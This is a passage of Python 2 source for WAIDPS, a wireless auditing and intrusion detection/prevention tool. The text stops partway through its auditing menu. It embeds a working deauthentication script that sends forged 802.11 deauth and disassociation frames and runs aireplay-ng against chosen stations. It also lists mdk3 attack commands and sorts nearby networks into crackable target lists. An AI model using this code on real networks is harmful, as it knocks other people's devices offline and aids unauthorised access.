#! /usr/bin/python2
##
## This was written for educational purpose only. Use it at your own risk.
## Author will be not responsible for any damage!
## Written By SY Chua, syworks@gmail.com
##
## Current - WiFi Harvester & IDPS & Auditor
## Addon - Updating AP & Station Detail with live monitoring
## Changes/Added
## - Bug fix on Whitelist displaying
## - Adding logging for live monitoring
## - Load sniffer after return from LiveMonitoring
## - Allow user to list out all clients which was detected to be associated to more than one access point
## - Adding new option for WPS attack
## - Adding ESSID & MAC OUI to Suspicious Activity Listing
## - Read WPS detail from captured file with Wash instead of running Wash
## - Improved Live Monitoring Logging 
## - Open Live Monitoring Packet with Decryption Key
## - Save decrypted packets
## - IDS - MDK Beacon Flooding (Different ESSID & Similar ESSID) = mdk3 mon0 b  / mdk3 mon0 b -n AAAAAA
## - IDS - MDK Authentication DoS
## - IDS - MDK3 Authentication DoS with clients = mdk3 mon0 a -a <AP MAC> -m
## - IDS - MDK3 - Authentication DoS (a) to Multiple Access Points = mdk3 mon0 a
## - IDS - MDK3 - Authentication DoS (a) to Multiple Access Points with multiple clients = mdk3 mon0 a -m
## - IDS - MDK Basic Probing & ESSID Bruteforce
## - IDS - MDK WPA Downgrade Test
## - IDS - MDK3 - WIDS/WIPS/WDS Confusion Mode
## - AUDIT - Displaying WPS Lock status as "Lck" instead of "Yes"
## - AUDIT - Allow list out all and add new cracked AP information 
## - MONITORING - Better ESSID probe capturing
#############
## MODULES ##
#############
IMPORT_ERRMSG=""
import __builtin__
import os,sys,subprocess,getopt,glob
import time,datetime
import tty,termios,curses
import select
import signal
import random
import urllib
import shutil
import re
import readline
import threading
from signal import SIGINT, SIGTERM
from subprocess import Popen, call, PIPE
from sys import stdout, stdin 
from math import floor
appver="1.0, R.6"
apptitle="WAIDPS"
appDesc="- The Wireless Auditing, Intrusion Detection & Prevention System"
appcreated="28 Feb 2014"
appupdated="10 Oct 2014"
appnote="Written By SY Chua, " + appcreated + ", Updated " + appupdated
appdescription="Wiresless Auditing, Intrusion Detection & Prevention System is a whole new application which is design to harvest all WiFi information (AP / Station details) in your surrounding and store as a database for reference. With the stored data, user can further lookup for specific MAC or names for detailed information of it relation to other MAC addresses. It primarily purpose is to detect wireless attacks in WEP/WPA/WPS encryption. It also comes with an analyzer and viewer which allow user to further probe and investigation on the intrusion/suspicious packets captured. Additional features such as blacklisting which allow user to monitor specific MACs/Names's activities. All information captured can also be saved into pcap files for further investigation."
class fcolor:
    CReset='\033[0m'
    CBold='\033[1m'
    CDim='\033[2m'
    CUnderline='\033[4m'
    CBlink='\033[5m'
    CInvert='\033[7m'
    CHidden='\033[8m'
    CDebugB='\033[1;90m'
    CDebug='\033[0;90m'
    Black='\033[0;30m'
    Red='\033[0;31m'
    Green='\033[0;32m'
    Yellow='\033[0;33m'
    Blue='\033[0;34m'
    Pink='\033[0;35m'
    Cyan='\033[0;36m'
    White='\033[0;37m'
    SBlack=CReset + '\033[30m'
    SRed=CReset + '\033[31m'
    SGreen=CReset + '\033[32m'
    SYellow=CReset + '\033[33m'
    SBlue=CReset + '\033[34m'
    SPink=CReset + '\033[35m'
    SCyan=CReset + '\033[36m'
    SWhite=CReset + '\033[37m'
    BBlack='\033[1;30m'
    BRed='\033[1;31m'
    BBlue='\033[1;34m'
    BYellow='\033[1;33m'
    BGreen='\033[1;32m'
    BPink='\033[1;35m'
    BCyan='\033[1;36m'
    BWhite='\033[1;37m'
    UBlack='\033[4;30m'
    URed='\033[4;31m'
    UGreen='\033[4;32m'
    UYellow='\033[4;33m'
    UBlue='\033[4;34m'
    UPink='\033[4;35m'
    UCyan='\033[4;36m'
    UWhite='\033[4;37m'
    BUBlack=CBold + '\033[4;30m'
    BURed=CBold + '\033[4;31m'
    BUGreen=CBold + '\033[4;32m'
    BUYellow=CBold + '\033[4;33m'
    BUBlue=CBold + '\033[4;34m'
    BUPink=CBold + '\033[4;35m'
    BUCyan=CBold + '\033[4;36m'
    BUWhite=CBold + '\033[4;37m'
    IGray='\033[0;90m'
    IRed='\033[0;91m'
    IGreen='\033[0;92m'
    IYellow='\033[0;93m'
    IBlue='\033[0;94m'
    IPink='\033[0;95m'
    ICyan='\033[0;96m'
    IWhite='\033[0;97m'
    BIGray='\033[1;90m'
    BIRed='\033[1;91m'
    BIGreen='\033[1;92m'
    BIYellow='\033[1;93m'
    BIBlue='\033[1;94m'
    BIPink='\033[1;95m'
    BICyan='\033[1;96m'
    BIWhite='\033[1;97m'
    BGBlack='\033[40m'
    BGRed='\033[41m'
    BGGreen='\033[42m'
    BGYellow='\033[43m'
    BGBlue='\033[44m'
    BGPink='\033[45m'
    BGCyan='\033[46m'
    BGWhite='\033[47m'
    BGIBlack='\033[100m'
    BGIRed='\033[101m'
    BGIGreen='\033[102m'
    BGIYellow='\033[103m'
    BGIBlue='\033[104m'
    BGIPink='\033[105m'
    BGICyan='\033[106m'
    BGIWhite='\033[107m'

def RemoveColor(InText):
    return color_pattern.sub('',InText);

def BeepSound():
    if __builtin__.ALERTSOUND=="Yes":
        sys.stdout.write("\a\r")
        sys.stdout.flush()

def read_a_key():
    stdinFileDesc = sys.stdin.fileno()
    oldStdinTtyAttr = termios.tcgetattr(stdinFileDesc)
    try:
        tty.setraw(stdinFileDesc)
        sys.stdin.read(1)
    finally:
        termios.tcsetattr(stdinFileDesc, termios.TCSADRAIN, oldStdinTtyAttr)

def CheckAdmin():
    if os.getuid() != 0:
        printc ("!!!",fcolor.BGreen + apptitle + " required administrator rights in order to run properly !","")
        printc ("!!!",fcolor.SGreen + "Log in as '" + fcolor.BRed + "root" + fcolor.SGreen + "' user or run '" + fcolor.BRed + "sudo ./" + __builtin__.ScriptName + fcolor.SGreen + "'","")
        exit_gracefully(1)
##--DropFile--##
##--FileName:Stn.DeAuth.py
###! /usr/bin/python2
###############################################
#### This script is use as part of WAIDPS
#### Written By SY Chua, syworks@gmail.com
#### Written 15/04/2014 - Updated 25/04/2014
##import sys,os
##import time
##from datetime import datetime
##import termios,curses
##from math import floor
##import logging
##logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
##from scapy.all import *
##from waidps import *
##import __builtin__
##from waidps import AskQuestion
##__builtin__.Multicast=""
##__builtin__.DEAUTH=0
##__builtin__.DISASSOC=0
##__builtin__.ACK=0
##__builtin__.AUTH=0
##__builtin__.AUTH_BSSID=[]
##import subprocess, signal
##timefmt="%Y-%m-%d %H:%M:%S"
##__builtin__.DumpProc=""
##appdir="/.SYWorks/WAIDPS/"
##tmpdir=appdir + "tmp/"
##__builtin__.Client_CSV=tmpdir + "Dumps-Client.csv"
##title=fcolor.BGreen + "Stn.DeAuth - V1.0, Written by SYChua (25/04/2014)"
##
##def TerminatingProc(ProcName):
##    pstr="kill $(ps aux | grep '" + str(ProcName) + "' | awk '{print $2}')"
##    ps=subprocess.Popen(pstr, shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
##
##def MonitoringPacket():
##    TerminatingProc(ProcTitle)
##    cmdLine="xterm -geometry 100x5-0-0 -iconic -bg black -fg white -fn 5x8 -title '" + str(ProcTitle) + "' -e 'tshark -i " + str(conf.iface) + " -a duration:60 -R 'wlan.addr==" + str(client) + "' -o column.format:'SA','%Cus:wlan.sa','DA','%Cus:wlan.da','BSSID','%Cus:wlan.bssid','TA','%Cus:wlan.ta','RA','%Cus:wlan.ra','FCSub','%Cus:wlan.fc.type_subtype' -n -l > " + str(tmpfile) + "'"
##    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE, preexec_fn=os.setsid)	
##    __builtin__.DumpProc=ps.pid
##    cttime=0
##
##def CheckProcess():
##    cmdLine="ps -eo pid | grep '" + str(__builtin__.DumpProc) + "'"
##    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
##    readout=str(ps.stdout.read().replace("\n",""))
##    readout=str(readout).lstrip().rstrip()
##    __builtin__.DumpProc=str(__builtin__.DumpProc)
##    if str(readout)!=str(__builtin__.DumpProc):
##        MonitoringPacket()
##
##def Percent(val, digits):
##    val *= 10 ** (digits + 2)
##    return '{1:.{0}f} %'.format(digits, floor(val) / 10 ** digits)
##
##def GiveClientResult(MACAddr):
##    if os.path.isfile(__builtin__.Client_CSV)==True:
##        with open(__builtin__.Client_CSV,"r") as f:
##            for line in f:
##                line=line.replace("\n","").replace("\00","").replace("\r","")
##                if len(line)>=94:
##                    line=line + ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
##                    st = list(line)
##                    st[18]=";";st[39]=";";st[60]=";";st[65]=";";st[75]=";";st[94]=";";lp="".join(st)
##                    lp=lp.replace(",;","; ")
##                    LineList=lp.split(";")
##                    STATION=LineList[0]
##                    cBSSID=LineList[5]
##                    if len(STATION)==17 and len(cBSSID)==17:
##                        if STATION==str(MACAddr) and CheckMAC(cBSSID!=""):
##                            BSSIDList.append (cBSSID)
##                        if cBSSID==str(MACAddr) and CheckMAC(STATION!=""):
##                            BSSIDList.append (STATION)
##                    if len(STATION)==17 and MACAddr==STATION and str(line).find("(not associated)")!=-1:
##                        BSSIDList=[]
##                        print fcolor.SGreen + str(time.strftime(timefmt)) + " - " + fcolor.BBlue + "Detected [ " + fcolor.BRed + str(STATION) + fcolor.BBlue + " ] ==> Not Associated"
##
##def ReadCaptured():
##    if os.path.isfile(tmpfile)==True:
##        with open(tmpfile,"r") as f:
##            for line in f:
##                line=line.replace("\n","").upper().replace("\x00","")
##                lines=line.split(" ")
##                x=0
##                if len(lines)>5 and str(lines[5]).find("PROBE")==-1:
##                    if str(lines[5]).find("DEAUTHENTICATION")!=-1:
##                        __builtin__.DEAUTH=__builtin__.DEAUTH+1
##                    if str(lines[5]).find("DISASSOCIATE")!=-1:
##                        __builtin__.DISASSOC=__builtin__.DISASSOC+1
##                    if str(lines[5]).find("ACKNOWLEDGEMENT")!=-1 and str(lines[4]).find(client)!=-1:
##                        __builtin__.ACK=__builtin__.ACK+1
##                    if str(lines[5])=="AUTHENTICATION" or str(lines[5])=="ASSOCIATION":
##                        __builtin__.AUTH=__builtin__.AUTH+1
##                        if lines[2]!="" and len(lines[2])==17 and str(__builtin__.AUTH_BSSID).find(lines[2])==-1 and CheckMAC(lines[2])!="" and lines[2]!=client:
##                            __builtin__.AUTH_BSSID.append (str(lines[2]))
##                    while x<5:
##                        lines[x]=str(lines[x]).replace("\x00","")
##                        if len(lines[x])==17 and str(BSSIDList).find(lines[x])==-1 and lines[x]!=client:
##                            if str(lines[x])[:6]=="33:33:"  or str(lines[x])[:9]=="01:00:5E:":
##                                __builtin__.Multicast="   [ Multicast Detected ]"
##                            elif str(lines[x])[:6]=="FF:FF:" and x!=2:
##                                __builtin__.Multicast="   [ Broadcast Detected ]"
##                            else:
##                                if CheckMAC(lines[x])!="":
##                                    if str(lines[5]).find("DEAUTHENTICATION")==-1 and str(lines[5]).find("DISASSOCIATE")==-1 and str(lines[5]).find("ACKNOWLEDGEMENT")==-1:
##                                        BSSIDList.append (lines[x])
##                        x += 1
##        open(tmpfile,"w").write("")
##    GiveClientResult(client)
##    x=0
##if len(sys.argv) !=5:
##    print title
##    print fcolor.SWhite + "Not for External use\n"
##    print "Usage\t: ./" + os.path.basename(__file__) + '<conf.iface> <stn_mac> <loopcount> <sleeptime>'
##    print "Example\t: ./" + os.path.basename(__file__) + 'mon0 00:11:22:33:44:55 99999 2\n'
##    sys.exit(1)
##else:
##    conf.iface = sys.argv[1] 
##    client = str(sys.argv[2]).upper()
##    count = sys.argv[3]
##    sleeptime = int(sys.argv[4])
##    bssid=""
##ProcTitle="WIPS - Monitoring MAC " + str(client)
##conf.verb = 0
##tmpdir="/.SYWorks/WAIDPS/tmp/"
##tmpfile=tmpdir + "StnDeauth_" + str(client).replace(":","")
##TerminatingProc(ProcTitle)
##print title
##BSSIDList=[]
##
##def CheckMAC(MACAddr):
##    MACAddr=str(MACAddr).upper().lstrip().rstrip()
##    rMAC=MACAddr
##    if len(MACAddr)==17:
##        if MACAddr[:6]=="FF:FF:":
##            rMAC=""
##        if MACAddr[:6]=="33:33:":
##            rMAC=""
##        if MACAddr[:9]=="01:80:C2:":
##            rMAC=""
##        if MACAddr[:9]=="01:00:5E:":
##            rMAC=""
##        if str(BSSIDList).find(MACAddr)!=-1:
##            rMAC=""
##    return rMAC
##
##def printl (DisplayText,ContinueBack,PrevIconCount):
##    icolor=fcolor.BGreen
##    bcolor=fcolor.SWhite
##    if ContinueBack=="0":
##        curses.setupterm()
##        TWidth=curses.tigetnum('cols')
##        TWidth=TWidth-1
##        sys.stdout.write("\r")
##        sys.stdout.flush()
##        sys.stdout.write (" " * TWidth + "\r")
##        sys.stdout.flush()
##        sys.stdout.write(DisplayText)
##        sys.stdout.flush()
##    return str(PrevIconCount);
##if os.path.isfile(tmpfile)==True:
##    os.remove(tmpfile)
##MonitoringPacket()
##cttime=0
##print ""
##for n in range(int(count)):
##    client=str(client).upper().lstrip().rstrip()
##    bssid=str(bssid).upper().lstrip().rstrip()
##    __builtin__.Multicast="";__builtin__.DEAUTH=0;__builtin__.DISASSOC=0;__builtin__.ACK=0;__builtin__.AUTH=0;__builtin__.AUTH_BSSID=[]
##    ReadCaptured()
##    if len(BSSIDList)==0:
##        timenow=fcolor.SGreen + str(time.strftime(timefmt))
##        y=0
##        while y<30:
##            printl (timenow  + " - Monitoring... wait for " + str(30-int(y)) +" seconds..","0","")
##            time.sleep(1)
##            cttime=int(cttime) + 1
##            CheckProcess()
##            statinfo = os.stat(tmpfile)
##            if statinfo.st_size!=0:
##                y=30
##                printl ("","0","")
##                ReadCaptured()
##            y += 1
##    if int(__builtin__.AUTH)>0:
##        y=0;AuthBSSID=""
##        while y<len(__builtin__.AUTH_BSSID):
##            AuthBSSID=AuthBSSID + __builtin__.AUTH_BSSID[y] + " / "
##            y += 1
##        AuthBSSID=str(AuthBSSID[:-3]).replace("/",fcolor.SWhite + "/" + fcolor.BRed)
##        print fcolor.SGreen + str(time.strftime(timefmt)) + " - " + fcolor.BBlue + "Authenticating/Associating Found- BSSID [ " + fcolor.BYellow + str(AuthBSSID) + fcolor.BBlue + " ] "
##        __builtin__.AUTH_BSSID=[]
##    x=0
##    while x<len(BSSIDList):
##        bssid=BSSIDList[x]
##        SUCCESSRESULT1="Deauth/Disassoc : " + str(__builtin__.DEAUTH) + " / " + str(__builtin__.DISASSOC)
##        SUCCESSRESULT=SUCCESSRESULT1.ljust(36) + "Ack : " + fcolor.SCyan + str(__builtin__.ACK).ljust(28)
##        SUCCESSRESULT=str(SUCCESSRESULT).replace(" / ", fcolor.SWhite + " / " + fcolor.SRed).replace("Ack",fcolor.SWhite + "Ack").replace(":",":" + fcolor.SRed)
##        print fcolor.SGreen + str(time.strftime(timefmt)) + " - Disassociating/Deauthenticating Station [ " + fcolor.BRed + str(client) + fcolor.SGreen + " ] from BSSID [ " + fcolor.BYellow + bssid + fcolor.SGreen + "  ]"
##        print "\t\t      " + fcolor.SWhite + str(SUCCESSRESULT) + "" + fcolor.SWhite + str(__builtin__.Multicast) + ""
##        packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
##        packet2 = RadioTap()/Dot11(addr1=bssid,addr2=client,addr3=client)/Dot11Deauth(reason=3)
##        packet3 = RadioTap()/Dot11(addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=3)
##        packet4 = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Disas(reason=7)
##        packet5 = RadioTap()/Dot11(addr1=bssid,addr2=client,addr3=client)/Dot11Disas(reason=7)
##        packet6 = RadioTap()/Dot11(addr1=client,addr2=bssid,addr3=bssid)/Dot11Disas(reason=3)
##        y=0
##        TerminatingProc('Deauth with Aireplay-NG')
##        cmdLine="xterm -geometry 100x5-0-0 -iconic -bg black -fg white -fn 5x8 -title 'Deauth with Aireplay-NG' -e 'aireplay-ng -0 10 " + str(conf.iface) + " -a " + str(bssid) + " -c " + str(client) + "'"
##        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE, preexec_fn=os.setsid)	
##        while y<30:
##            completed=Percent(float(y)/30,2)
##            printl ("\t\t      " + fcolor.SRed + "Sending Deauth/Disassoc - " + fcolor.SRed + str(completed) + fcolor.SRed + "" ,"0","")
##            sendp(packet,verbose=0)
##            sendp(packet2,verbose=0)
##            sendp(packet3,verbose=0)
##            sendp(packet4,verbose=0)
##            sendp(packet5,verbose=0)
##            sendp(packet6,verbose=0)
##            time.sleep(0.1)
##            y=y+1
##        printl ("" ,"0","")
##        print ""
##        cttime=int(cttime) + int(sleeptime)
##        time.sleep(sleeptime)
##        __builtin__.Multicast="";__builtin__.DEAUTH=0;__builtin__.DISASSOC=0;__builtin__.ACK=0;__builtin__.AUTH=0;__builtin__.AUTH_BSSID=[]
##        x += 1
##    if int(cttime)>=20:
##        MonitoringPacket()
##exit(0)
##--EndFile--##
##--StopRead--##

def DropFiles():
    with open(__builtin__.ScriptFullPath,"r") as f:
        READSTATUS=""
        for line in f:
            line=line.replace("\n","")
            if line!="":
                if line=="##--DropFile--##":
                    READSTATUS="START"
                if line=="##--EndFile--##":
                    READSTATUS=""
                    shutil.copy2(appdir + DropFileName, "/usr/sbin/" + str(DropFileName))
                    result=os.system("chmod +x /usr/sbin/" + DropFileName + " > /dev/null 2>&1")
                    result=os.system("chmod +x " + appdir + DropFileName + " > /dev/null 2>&1")
                if line=="##--StopRead--##":
                    return;
                if READSTATUS=="WRITE":
                    open(appdir + DropFileName,"a+b").write(line[2:] + "\n")
                if READSTATUS=="START" and len(line)>15 and str(line)[:13]=="##--FileName:":
                    DropFileName=str(line)[13:]
                    DropFileName=DropFileName
                    open(appdir + DropFileName,"w").write("")
                    READSTATUS="WRITE"

def AboutApplication():
    os.system('clear')
    WordColor=fcolor.BCyan
    print fcolor.BGreen + "db   d8b   db  .d8b.  d888888b d8888b. d8888b. .d8888." 
    print fcolor.BGreen + "88   I8I   88 d8' `8b   `88'   88  `8D 88  `8D 88'  YP" 
    print fcolor.BGreen + "88   I8I   88 88ooo88    88    88   88 88oodD' `8bo.  " 
    print fcolor.BGreen + "Y8   I8I   88 88~~~88    88    88   88 88~~~     `Y8b." 
    print fcolor.BGreen + "`8b d8'8b d8' 88   88   .88.   88  .8D 88      db   8D" 
    print fcolor.BGreen + " `8b8' `8d8'  YP   YP Y888888P Y8888D' 88      `8888Y'"
    ShowSYWorks()
    print "";print ""
    print fcolor.BGreen + apptitle + " " + appver + fcolor.SGreen + " " + appDesc
    print fcolor.CReset + fcolor.White + appnote
    print ""
    DisplayDescription()
    print ""
    print fcolor.BWhite + "Fans Page - " + fcolor.BBlue + "https://www.facebook.com/syworks" +fcolor.BWhite + " (SYWorks-Programming)"
    print fcolor.BWhite + "Tutorial  - " + fcolor.BBlue + "https://syworks.blogspot.com/" +fcolor.BWhite + ""
    print "";print ""
    printc ("x",fcolor.BRed + "Press a key to continue...","")
    LineBreak()

def LineBreak():
    DrawLine("_",fcolor.CReset + fcolor.SWhite,"","");print "";

def OptDisplayLogs():
    printc ("+", fcolor.BBlue + "Displaying Active Logs History","")
    print StdColor + tabspacefull + "This option allow user to list the current session logs that were captured. "
    print ""
    Option1 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "C" + StdColor + " - Association/" + SelColor + "C" + StdColor + "onnection Alert Log\n"
    Option2 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "S" + StdColor + " - Display " + SelColor + "S" + StdColor + "uspicious Activity Listing\n"
    Option3 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "A" + StdColor + " - Display " + SelColor + "A" + StdColor + "ttacks Log\n"
    Option4 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "L" + StdColor + " - Display Combination " + SelColor + "L" + StdColor + "ogs\n"
    Option5 = tabspacefull + SelBColor + "5" + StdColor + "/" + SelBColor + "D" + StdColor + " - " + SelColor + "D" + StdColor + "isplay/Add Cracked Access Points database\n"
    OptionA=Option1 + Option2 + Option3 + Option4 + Option5
    print OptionA
    usr_resp=AskQuestion("Select a type of log / " + STxt + "R" + NTxt + "eturn","","U","RETURN","1")
    if usr_resp=="C" or usr_resp=="1":
        if __builtin__.MSG_HistoryConnection!="":
            print ""
            printc ("i", "Connection Cautious Information History", "")
            print __builtin__.MSG_HistoryConnection
            LineBreak()
            printc ("x","","")
        else:
            print ""
            printc ("!!!", "Connection Cautious Information History Not Found", "")
            printc ("x","","")
    if usr_resp=="S" or usr_resp=="2":
        if __builtin__.MSG_SuspiciousListing!="":
            print ""
            printc ("i", "Suspicious Listing Information History", "")
            print __builtin__.MSG_SuspiciousListing
            LineBreak()
            printc ("x","","")
        else:
            print ""
            printc ("!!!", "Suspicious Listing Information History Not Found", "")
            printc ("x","","")
    if usr_resp=="A" or usr_resp=="3":
        if __builtin__.MSG_AttacksLogging!="":
            print ""
            printc ("i", "Attacks Information History", "")
            print __builtin__.MSG_AttacksLogging
            LineBreak()
            printc ("x","","")
        else:
            print ""
            printc ("!!!", "Attacks Information History Not Found", "")
            printc ("x","","")
    if usr_resp=="L" or usr_resp=="4":
        if __builtin__.MSG_CombinationLogs!="":
            print ""
            printc ("i", "Combination Log History", "")
            print __builtin__.MSG_CombinationLogs
            LineBreak()
            printc ("x","","")
        else:
            print ""
            printc ("!!!", "Combination Log History Not Found", "")
            printc ("x","","")
    if usr_resp=="5" or usr_resp=="D":
        print ""
        DisplayCrackDB()
        usr_resp=AskQuestion(fcolor.BGreen + "Do you want add new access point detail to the cracked database ?" + fcolor.BGreen,"y/N","U","N","1")
        if usr_resp=="Y":
            InputCrackDB()

def AddToList(sStr,sList):
    x=0;Skip=0
    if sStr!="" and str(sStr).find("\\x")==-1:
        while x<len(sList):
            if sList[x]==sStr:
                Skip=1
            x += 1
        if Skip==0:
            sList.append (sStr)
    return sList

def OptAuditing(HeaderLine):
    __builtin__.RTNCACHE="TIME0"
    KillAllMonitor()
    Search="WAIDPS - Sniffing"
    KillProc(Search)
    Search="WAIDPS - Auditing"
    KillProc(Search)
    Search="WAIDPS - Associating"
    KillProc(Search)
    KillAllMonitor()
    ToDisplay="ALL"
    if HeaderLine=="1":
        LineBreak()
    if HeaderLine=="WEP":
        ToDisplay="WEP"   
    if HeaderLine=="WPA":
        ToDisplay="WPA"   
    if HeaderLine=="WPA1":
        ToDisplay="WPA1"   
    if HeaderLine=="WPA2":
        ToDisplay="WPA2"   
    if HeaderLine=="WPAC":
        ToDisplay="WPAC"   
    if HeaderLine=="WPA1C":
        ToDisplay="WPA1C"   
    if HeaderLine=="WPA2C":
        ToDisplay="WPA2C"   
    ESSID_FILTER=""
    if len(HeaderLine)>6 and HeaderLine[:5]=="SSID=":
        ToDisplay="ALL"   
        ESSID_FILTER=HeaderLine[5:]
    if len(HeaderLine)>7 and HeaderLine[:6]=="ESSID=":
        ToDisplay="ALL"   
        ESSID_FILTER=HeaderLine[6:]
    if HeaderLine=="WPS":
        ToDisplay="WPS"   
    if ToDisplay=="ALL":
        os.system('clear')
        AUDITOR_WARNING()
        printc ("+", fcolor.BBlue + "Wireless Network Auditing Main Menu","")
        printc ("i",fcolor.SWhite + "Below are the list of collected WEP/WPA/WPA2 network with information of WPS enabled router and number associated clients.","")
    else:
        os.system('clear')
        AUDITOR_WARNING()
        printc ("i",fcolor.BBlue+ "Encryption Filter : " + fcolor.BRed + ToDisplay,"")
    print ""
    x=0
    __builtin__.TargetList_WEP=[];__builtin__.TargetList_WPA1=[];__builtin__.TargetList_WPA2=[];__builtin__.TargetList_WPA1C=[];__builtin__.TargetList_WPA2C=[];__builtin__.TargetList_WPS=[]; __builtin__.TargetList_All=[];__builtin__.CUR_CLIENT=[]
    while x<len(ListInfo_BSSID):
        if int(__builtin__.ListInfo_SSIDTimeGap[x])<10:
            if str(__builtin__.ListInfo_Privacy[x])!="" and str(__builtin__.ListInfo_Privacy[x])!="None" and str(__builtin__.ListInfo_Privacy[x])!="OPN" and + int(__builtin__.ListInfo_Channel[x])>0 and str(__builtin__.ListInfo_BestQuality[x])!="" and str(__builtin__.ListInfo_BestQuality[x])!="-1" and  str(__builtin__.ListInfo_BestQuality[x])!="-127":
                WPSInfo=str(__builtin__.ListInfo_WPS[x])
                if WPSInfo!="-":
                    WPSLocked=str(__builtin__.ListInfo_WPSLock[x])
                    if WPSLocked=="Yes":
                    	WPSInfo="Lck"
                
                Listing=str(__builtin__.ListInfo_BSSID[x]) + ";" + str(__builtin__.ListInfo_Channel[x]) + ";" + str(__builtin__.ListInfo_Privacy[x]) + ";" + str(__builtin__.ListInfo_Cipher[x]) + ";" + str(__builtin__.ListInfo_Auth[x]) + ";"  + str(__builtin__.ListInfo_BestQuality[x]) + ";" + str(__builtin__.ListInfo_LastSeen[x]) + " ["  + str(__builtin__.ListInfo_SSIDTimeGap[x]) + " min ago]" + ";"+ str(WPSInfo) + ";" + str(__builtin__.ListInfo_ConnectedClient[x]) + ";" + str(__builtin__.ListInfo_ESSID[x]) + ";" 
                if str(__builtin__.ListInfo_Privacy[x])=="WEP":
                    __builtin__.TargetList_WEP.append(Listing)
                if str(__builtin__.ListInfo_Privacy[x])=="WPA" and str(__builtin__.ListInfo_WPS[x])=="-" and int(__builtin__.ListInfo_ConnectedClient[x])>0:
                    __builtin__.TargetList_WPA1C.append(Listing)
                if str(__builtin__.ListInfo_Privacy[x])=="WPA2" and str(__builtin__.ListInfo_WPS[x])=="-" and int(__builtin__.ListInfo_ConnectedClient[x])>0:
                    __builtin__.TargetList_WPA2C.append(Listing)
                if str(__builtin__.ListInfo_Privacy[x])=="WPA" and str(__builtin__.ListInfo_WPS[x])=="-" and  str(__builtin__.ListInfo_ConnectedClient[x])=="0":
                    __builtin__.TargetList_WPA1.append(Listing)
                if str(__builtin__.ListInfo_Privacy[x])=="WPA2" and str(__builtin__.ListInfo_WPS[x])=="-" and  str(__builtin__.ListInfo_ConnectedClient[x])=="0":
                    __builtin__.TargetList_WPA2.append(Listing)
                if str(__builtin__.ListInfo_WPS[x])!="-" and str(__builtin__.ListInfo_Privacy[x])!="WEP":
                    __builtin__.TargetList_WPS.append(Listing)
        x += 1
    if ToDisplay=="WEP" or ToDisplay=="ALL":
        x=0
        while x<len(__builtin__.TargetList_WEP):
            if ESSID_FILTER=="":
                __builtin__.TargetList_All.append(__builtin__.TargetList_WEP[x])
            else:
                ColList=str(__builtin__.TargetList_WEP[x]).split(";")
                TESSID=ColList[9]
                TESSID=str(TESSID).upper()
                if str(TESSID).find(ESSID_FILTER)!=-1:
                    __builtin__.TargetList_All.append(__builtin__.TargetList_WEP[x])
                
            x +=1
    if ToDisplay=="WPS" or ToDisplay=="ALL":
        x=0
        while x<len(__builtin__.TargetList_WPS):
            if ESSID_FILTER=="":
                __builtin__.TargetList_All.append(__builtin__.TargetList_WPS[x])
            else:
                ColList=str(__builtin__.TargetList_WPS[x]).split(";")
                TESSID=ColList[9]
                TESSID=str(TESSID).upper()
                if str(TESSID).find(ESSID_FILTER)!=-1:
                    __builtin__.TargetList_All.append(__builtin__.TargetList_WPS[x])
            x +=1
    if ToDisplay=="WPA1C" or ToDisplay=="WPAC" or ToDisplay=="ALL" :
        x=0
        while x<len(__builtin__.TargetList_WPA1C):
            if ESSID_FILTER=="":
                __builtin__.TargetList_All.append(__builtin__.TargetList_WPA1C[x])
            else:
                ColList=str(__builtin__.TargetList_WPA1C[x]).split(";")
                TESSID=ColList[9]
                TESSID=str(TESSID).upper()
                if str(TESSID).find(ESSID_FILTER)!=-1:
                    __builtin__.TargetList_All.append(__builtin__.TargetList_WPA1C[x])
            x +=1
    if ToDisplay=="WPA2C" or ToDisplay=="WPAC" or ToDisplay=="ALL" :
        x=0
        while x<len(__builtin__.TargetList_WPA2C):
            if ESSID_FILTER=="":
                __builtin__.TargetList_All.append(__builtin__.TargetList_WPA2C[x])
            else:
                ColList=str(__builtin__.TargetList_WPA2C[x]).split(";")
                TESSID=ColList[9]
                TESSID=str(TESSID).upper()
                if str(TESSID).find(ESSID_FILTER)!=-1:
                    __builtin__.TargetList_All.append(__builtin__.TargetList_WPA2C[x])
            x +=1
    if ToDisplay=="WPA1" or ToDisplay=="WPA" or ToDisplay=="ALL" :
        x=0
        while x<len(__builtin__.TargetList_WPA1):
            if ESSID_FILTER=="":
                __builtin__.TargetList_All.append(__builtin__.TargetList_WPA1[x])
            else:
                ColList=str(__builtin__.TargetList_WPA1[x]).split(";")
                TESSID=ColList[9]
                TESSID=str(TESSID).upper()
                if str(TESSID).find(ESSID_FILTER)!=-1:
                    __builtin__.TargetList_All.append(__builtin__.TargetList_WPA1[x])
            x +=1
    if ToDisplay=="WPA2" or ToDisplay=="WPA" or ToDisplay=="ALL" :
        x=0
        while x<len(__builtin__.TargetList_WPA2):
            if ESSID_FILTER=="":
                __builtin__.TargetList_All.append(__builtin__.TargetList_WPA2[x])
            else:
                ColList=str(__builtin__.TargetList_WPA2[x]).split(";")
                TESSID=ColList[9]
                TESSID=str(TESSID).upper()
                if str(TESSID).find(ESSID_FILTER)!=-1:
                    __builtin__.TargetList_All.append(__builtin__.TargetList_WPA2[x])
            x +=1
    x=0
    ColList=[]
    if len(__builtin__.TargetList_All)==0:
        printc ("!!!","No listing found. Let harvester collect some network before running [Audit].","")
        LineBreak()
        return
    print fcolor.BGreen + "S/N.".ljust(6) + "MAC Address".ljust(20) +  "Chn".ljust(5)  + "Enc".ljust(8) + "Cipher".ljust(15) + "Auth".ljust(10) + "Signal".ljust(10) + "Last Seen".ljust(34) + "WPS".ljust(5) + "STN".ljust(4) + "ESSID"
    while x<len(__builtin__.TargetList_All):
        DInfo=""
